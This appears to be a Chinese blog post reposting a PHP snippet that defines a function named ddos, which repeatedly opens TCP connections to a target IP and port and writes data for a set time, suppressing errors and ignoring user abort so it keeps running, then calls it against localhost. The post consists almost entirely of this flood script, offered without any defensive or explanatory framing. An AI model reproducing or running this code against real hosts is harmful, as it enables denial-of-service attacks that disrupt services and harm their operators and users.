function ddos($ip='127.0.0.1',$port=80,$errorno=0,$errstr='',$time=30) {
error_reporting(0);
ignore_user_abort(TRUE);
$exec_time = time() + $time ;
$byte = 0;
while(1) {
    $byte++;
    if(time() > $exec_time) {
         break;
    }
    $fp = fsockopen("tcp://$ip",$port,$errorno,$errstr,0);
    if($fp) {
       fwrite($fp,$byte);
       fclose($fp);
    }
}
}
ddos();

转自:http://istrone.com/?p=758

标签: php

添加新评论